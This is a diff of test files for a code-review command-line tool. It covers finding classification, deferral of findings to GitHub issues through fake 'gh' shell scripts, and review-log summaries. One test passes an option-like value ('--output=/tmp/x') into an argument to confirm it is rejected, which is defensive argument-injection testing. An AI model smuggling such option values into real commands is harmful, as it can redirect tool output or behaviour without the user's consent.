}); test('diff-plus-blocking (the documented fallback, not the default): a blocking finding outside the diff is fixed here instead of filed; everything else is as frozen', () => { @@ -208,13 +223,49 @@ describe('gstack-review-scope (bin)', () => { const badRange = runBin(repo, 'gstack-review-scope', ['classify', '--base', 'main', '--pass', '2', '--range-base', 'f'.repeat(40), '--findings', f]); expect(badRange.status).toBe(EXIT.fail); expect(badRange.err).toContain('(REVIEW_SCOPE_RANGE;'); + // a --range-base on pass 1 is not applied, so the envelope does not claim it + const p1Range = runBin(repo, 'gstack-review-scope', ['classify', '--base', 'main', '--pass', '1', '--range-base', pass1Head, '--findings', f, '--json']); + expect(JSON.parse(p1Range.out).range_base).toBeNull(); + for (const args of [['--pass', '0'], ['--pass', '1', '--policy', 'loose'], ['--pass', '2', '--range-base', '--output=/tmp/x']]) { + const r = runBin(repo, 'gstack-review-scope', ['classify', '--base', 'main', ...args, '--findings', f]); + expect(r.status).toBe(EXIT.fail); + expect(r.err).toContain('(REVIEW_SCOPE_INPUT;'); + } + // the reviewed policy is the base's; an unresolvable base is refused by name, never read from the working tree + const noBase = runBin(repo, 'gstack-review-scope', ['classify', '--base', 'nonesuch', '--pass', '1', '--findings', f]); + expect(noBase.status).toBe(EXIT.refused); + expect(noBase.err).toContain('(POLICY_SOURCE_UNAVAILABLE)'); + expect(noBase.err).toContain('pass --policy to classify without the base'); fs.writeFileSync(f, '{"not":"an array"}'); const bad = runBin(repo, 'gstack-review-scope', ['classify', '--base', 'main', '--pass', '1', '--findings', f]); expect(bad.status).toBe(EXIT.fail); expect(bad.err).toContain('(REVIEW_SCOPE_INPUT;'); + const d = path.join(repo.root, 'deferred.json'); fs.writeFileSync(d, '{}'); + const badRender = runBin(repo, 'gstack-review-scope', ['render', '--deferred', d]); + expect(badRender.status).toBe(EXIT.fail); + expect(badRender.err).toContain('expected the JSON array defer --out writes'); }); - test('defer without gh keeps the finding deferred as unfiled (exit 3) and renders the PR-body sections; --dry-run files nothing', () => { + test('classify sees a non-ASCII changed path under its own name, so a CRITICAL finding there is fixed, not deferred to an issue', () => { + const repo = fixture(); + fs.mkdirSync(path.join(repo.work, 'src'), { recursive: true }); + fs.writeFileSync(path.join(repo.work, 'src', 'café.ts'), 'export const a = 1;\n'); + repo.git('add', '.'); repo.git('commit', '-qm', 'seed'); repo.git('push', '-q', 'origin', 'main'); + repo.git('checkout', '-qb', 'feat'); + fs.writeFileSync(path.join(repo.work, 'src', 'café.ts'), 'export const a = 2;\n'); + repo.git('commit', '-qam', 'change'); + fs.writeFileSync(path.join(repo.work, 'src', 'naïve.ts'), 'export const n = 1;\n'); + const f = path.join(repo.root, 'findings.json'); + fs.writeFileSync(f, JSON.stringify([ + { path: 'src/café.ts', line: 1, severity: 'CRITICAL', category: 'logic', summary: 'wrong' }, + { path: 'src/naïve.ts', line: 1, severity: 'CRITICAL', category: 'logic', summary: 'untracked' }, + ])); + const r = runBin(repo, 'gstack-review-scope', ['classify', '--base', 'main', '--pass', '1', '--findings', f, '--json']); + expect(r.status).toBe(EXIT.ok); + expect(JSON.parse(r.out).findings.map((x: ScopedFinding) => `${x.path}=${x.locus}/${x.scope}`)).toEqual(['src/café.ts=diff/fix', 'src/naïve.ts=diff/fix']); + }); + + test('defer without gh keeps the finding deferred as unfiled and still exits 0 (the PR body carries the reason), searches once before creating, and files nothing when the search fails; --dry-run files nothing', () => { const repo = fixture(); const classified = path.join(repo.root, 'classified.json'); fs.writeFileSync(classified, JSON.stringify([ @@ -230,9 +281,18 @@ describe('gstack-review-scope (bin)', () => { fs.writeFileSync(path.join(noGh, 'gh'), '#!/bin/sh\necho "gh: not logged in" >&2; exit 4\n', { mode: 0o755 }); const out = path.join(repo.root, 'deferred.json'); const unfiled = runBin(repo, 'gstack-review-scope', ['defer', '--findings', classified, '--pr', '42', '--out', out], { PATH: `${noGh}:${process.env.PATH}` }); - expect(unfiled.status).toBe(EXIT.refused); - expect(unfiled.err).toMatch(/^DEFERRED: unfiled \(gh issue create failed: gh: not logged in\) CRITICAL lib\/legacy\.ts:7$/m); - expect(unfiled.out).toContain('- Deferred: unfiled (gh issue create failed: gh: not logged in) — CRITICAL `lib/legacy.ts:7` Unbounded delete'); + expect(unfiled.status).toBe(EXIT.ok); + expect(unfiled.err).toMatch(/^DEFERRED: unfiled \(gh issue list failed: gh: not logged in\) CRITICAL lib\/legacy\.ts:7$/m); + expect(unfiled.out).toContain('- Deferred: unfiled (gh issue list failed: gh: not logged in) — CRITICAL `lib/legacy.ts:7` Unbounded delete'); + // the search failed, so nothing was created: a rate-limited rerun cannot duplicate the issue the marker exists to find + const listFails = path.join(repo.root, 'listfails'); + fs.mkdirSync(listFails); + const created = path.join(listFails, 'created'); + fs.writeFileSync(path.join(listFails, 'gh'), `#!/bin/sh\nif [ "$1" = issue ] && [ "$2" = list ]; then echo "gh: HTTP 403 rate limit" >&2; exit 1; fi\nif [ "$1" = issue ] && [ "$2" = create ]; then touch "${created}"; echo https://example.test/o/r/issues/1; exit 0; fi\nexit 1\n`, { mode: 0o755 }); + const rateLimited = runBin(repo, 'gstack-review-scope', ['defer', '--findings', classified, '--pr', '42', '--json'], { PATH: `${listFails}:${process.env.PATH}` }); + expect(rateLimited.status).toBe(EXIT.ok); + expect(JSON.parse(rateLimited.out)[0]).toMatchObject({ issue: null, reason: 'gh issue list failed: gh: HTTP 403 rate limit' }); + expect(fs.existsSync(created)).toBe(false); const rendered = runBin(repo, 'gstack-review-scope', ['render', '--deferred', out, '--findings', classified]); expect(rendered.status).toBe(EXIT.ok); expect(rendered.out).toContain('## Deferred findings'); @@ -249,7 +309,7 @@ describe('gstack-review-scope (bin)', () => { fs.writeFileSync(path.join(shim, 'gh'), [ '#!/bin/sh', `echo "$*" >> "${log}"`, 'if [ "$1" = issue ] && [ "$2" = list ]; then', - ` case "$*" in *"lib/legacy.ts:7:data-loss"*) echo '[{"number":9,"url":"https://example.test/acme/app/issues/9","body":"x y"}]' ;; *) echo '[]' ;; esac; exit 0; fi`, + ` echo '[{"number":9,"url":"https://example.test/acme/app/issues/9","body":"x y"},{"number":3,"url":"https://example.test/acme/app/issues/3","body":""}]'; exit 0; fi`, 'if [ "$1" = issue ] && [ "$2" = create ]; then echo "https://example.test/acme/app/issues/10"; exit 0; fi', 'echo "unsupported $*" >&2; exit 1', '', ].join('\n'), { mode: 0o755 }); @@ -268,6 +328,63 @@ describe('gstack-review-scope (bin)', () => { expect(r.err).toContain('DEFERRED: #10 CRITICAL lib/old.ts:1'); const calls = fs.readFileSync(log, 'utf8'); expect(calls.match(/^issue create /gm)?.length).toBe(1); + expect(calls.match(/^issue list /gm)?.length).toBe(1); + expect(calls).toContain('--search "gstack-deferred-finding" in:body'); expect(calls).toContain('issue create --repo acme/app --title Deferred review finding: lib/old.ts:1 — Missing owner check --body-file'); }); + + // Generated by /ship Step 7 (coverage audit of the harness lane E diff). + // Value: protects=summary reads this branch's review log through gstack-review-read and prints the REVIEW_LOOP counters that + // `gstack-ship-receipt write --review-loop` consumes, counting only this invocation's ship-via review passes and tolerating a + // malformed row and a branch with no log; fails_when=the row filter, the ---CONFIG--- split, the --since guard or the --out + // write breaks, or a missing log is treated as an error instead of zero passes; why_new=only the pure summarizeReviewLoop is + // tested, never the bin against a review log on disk; seam=none; no_claim=review-log writing (rows are written directly, not + // through gstack-review-log) + test('summary reads the branch review log through gstack-review-read, counts this invocation\'s passes, writes --out, and refuses a missing --since', () => { + const repo = fixture(); + repo.git('checkout', '-qb', 'feat'); + const slug = runBin(repo, 'gstack-slug', ['--get', 'SLUG']).out.trim(); + const branch = runBin(repo, 'gstack-slug', ['--get', 'BRANCH']).out.trim(); + expect(slug).not.toBe(''); + expect(branch).toBe('feat'); + const logDir = path.join(repo.home, 'projects', slug); + fs.mkdirSync(logDir, { recursive: true }); + const rows = [ + { skill: 'review', via: 'ship', timestamp: '2026-10-26T09:00:00Z', status: 'clean', review_scope: 'frozen', findings: [{ fingerprint: 'old:1:q', blocking: true, action: 'fixed' }] }, + { skill: 'review', via: 'ship', timestamp: '2026-10-26T10:00:00Z', status: 'issues_found', review_scope: 'frozen', findings: [ + { fingerprint: 'a:1:x', blocking: true, action: 'auto-fixed' }, { fingerprint: 'b:1:y', blocking: true, action: 'deferred', issue: 5 }, { fingerprint: 'c:1:z', action: 'noted' }] }, + { skill: 'adversarial-review', via: 'ship', timestamp: '2026-10-26T10:15:00Z', findings: [{ fingerprint: 'd:1:w', blocking: true }] }, + { skill: 'review', via: 'ship', timestamp: '2026-10-26T10:30:00Z', status: 'clean', review_scope: 'frozen', findings: [ + { fingerprint: 'b:1:y', blocking: true, action: 'deferred', issue: 5 }, { fingerprint: 'c:1:z', action: 'noted' }] }, + { skill: 'review', timestamp: '2026-10-26T10:40:00Z', findings: [{ fingerprint: 'e:1:v', blocking: true, action: 'fixed' }] }, + ]; + fs.writeFileSync(path.join(logDir, `${branch}-reviews.jsonl`), rows.map(r => JSON.stringify(r)).join('\n') + '\n{not json\n'); + const expected = { passes: 2, blocking_found: 2, deferred: 1, noted: 1, fixed: 1, scope: 'frozen' }; + const out = path.join(repo.root, 'review-loop.json'); + const r = runBin(repo, 'gstack-review-scope', ['summary', '--since', '2026-10-26T09:30:00Z', '--out', out, '--json']); + expect(r.status).toBe(EXIT.ok); + expect(r.err).toContain('REVIEW_LOOP: passes=2 blocking_found=2 deferred=1 noted=1 fixed=1 scope=frozen'); + expect(JSON.parse(r.out)).toEqual(expected); + expect(JSON.parse(fs.readFileSync(out, 'utf8'))).toEqual(expected); + const plain = runBin(repo, 'gstack-review-scope', ['summary', '--since', '2026-10-26T08:00:00Z']); + expect(plain.status).toBe(EXIT.ok); + expect(plain.out.trim()).toBe('REVIEW_LOOP: passes=3 blocking_found=3 deferred=1 noted=1 fixed=2 scope=frozen'); + const noSince = runBin(repo, 'gstack-review-scope', ['summary', '--json']); + expect(noSince.status).toBe(EXIT.fail); + expect(noSince.err).toContain('(REVIEW_SCOPE_INPUT;'); + expect(noSince.out).toBe(''); + const badSince = runBin(repo, 'gstack-review-scope', ['summary', '--since', 'yesterday']); + expect(badSince.status).toBe(EXIT.fail); + expect(badSince.err).toContain('(REVIEW_SCOPE_INPUT;'); + // zero matching passes is a wrong --since or a log written elsewhere, never a loop to record: refused, nothing written + const bare = fixture(); + const noneOut = path.join(bare.root, 'review-loop.json'); + const none = runBin(bare, 'gstack-review-scope', ['summary', '--since', '2026-10-26T09:30:00Z', '--out', noneOut, '--json']); + expect(none.status).toBe(EXIT.fail); + expect(none.err).toContain('(REVIEW_SCOPE_INPUT;'); + expect(none.err).toContain('REVIEW_LOOP: passes=0'); + expect(fs.existsSync(noneOut)).toBe(false); + const late = runBin(repo, 'gstack-review-scope', ['summary', '--since', '2026-10-27T00:00:00Z']); + expect(late.status).toBe(EXIT.fail); + }); }); diff --git a/test/review-workflow-clarity.test.ts b/test/review-workflow-clarity.test.ts index 4d9bcdd40..5d0a82e22 100644 --- a/test/review-workflow-clarity.test.ts +++ b/test/review-workflow-clarity.test.ts @@ -434,14 +434,14 @@ for (const skillName of ['review', 'ship']) { expectMentions(flat, [['never', 'dispatched', 'incomplete']], 'flat'); const redTeam = flat.slice(flat.indexOf('### Red Team dispatch')); expectMentions(redTeam, [['confirm', 'incomplete', 'stopped']], 'redTeam'); - expect(redTeam).toContain('stages 1–7'); + expect(redTeam).toContain('stages 1–8'); }); test(`${skillName} clarity: ordered specialist merge separates validation from scoring and provenance`, () => { const markers = ['#### 1. Parse outputs', '#### 2. Validate severity', - '#### 3. Identify and merge', '#### 4. Apply specialist confidence gates', - '#### 5. Score and present specialists', '#### 6. Save specialist activity', - '#### 7. Hand off to Fix-First']; + '#### 3. Identify and merge', '#### 4. Lead judgment', '#### 5. Apply specialist confidence gates', + '#### 6. Score and present specialists', '#### 7. Save specialist activity', + '#### 8. Hand off to Fix-First']; const positions = markers.map(marker => army.indexOf(marker)); expect(positions.every(position => position >= 0)).toBe(true); expect(positions).toEqual([...positions].sort((a, b) => a - b)); @@ -454,7 +454,10 @@ for (const skillName of ['review', 'ship']) { for (const rule of [/never trust a supplied hash/i, /missing\/malformed metadata cannot deduplicate/i, /core findings never earn a specialist confidence boost/i]) expect(merge).toMatch(rule); for (const gate of ['Confidence 7+', 'Confidence 5-6', 'Confidence 3-4', 'Confidence 1-2']) expect(army).toContain(gate); - const scoring = flat.slice(flat.indexOf('#### 5.'), flat.indexOf('#### 6.')); + const judgment = flat.slice(flat.indexOf('#### 4.'), flat.indexOf('#### 5.')); + for (const filter of [/nit gravity/i, /hypothetical, not actual/i, /case that does not exist/i, /different design is not a defect/i, /missing context/i]) expect(judgment).toMatch(filter); + expect(judgment).toContain('returned `NO FINDINGS` was right'); + const scoring = flat.slice(flat.indexOf('#### 6.'), flat.indexOf('#### 7.')); expect(scoring).toMatch(/only specialist findings enter this header and `quality_score`/i); expect(scoring).toMatch(/non-advisory/i); expect(scoring).toContain('quality_score = max(0, 10 - (critical_count * 2 + informational_count * 0.5))');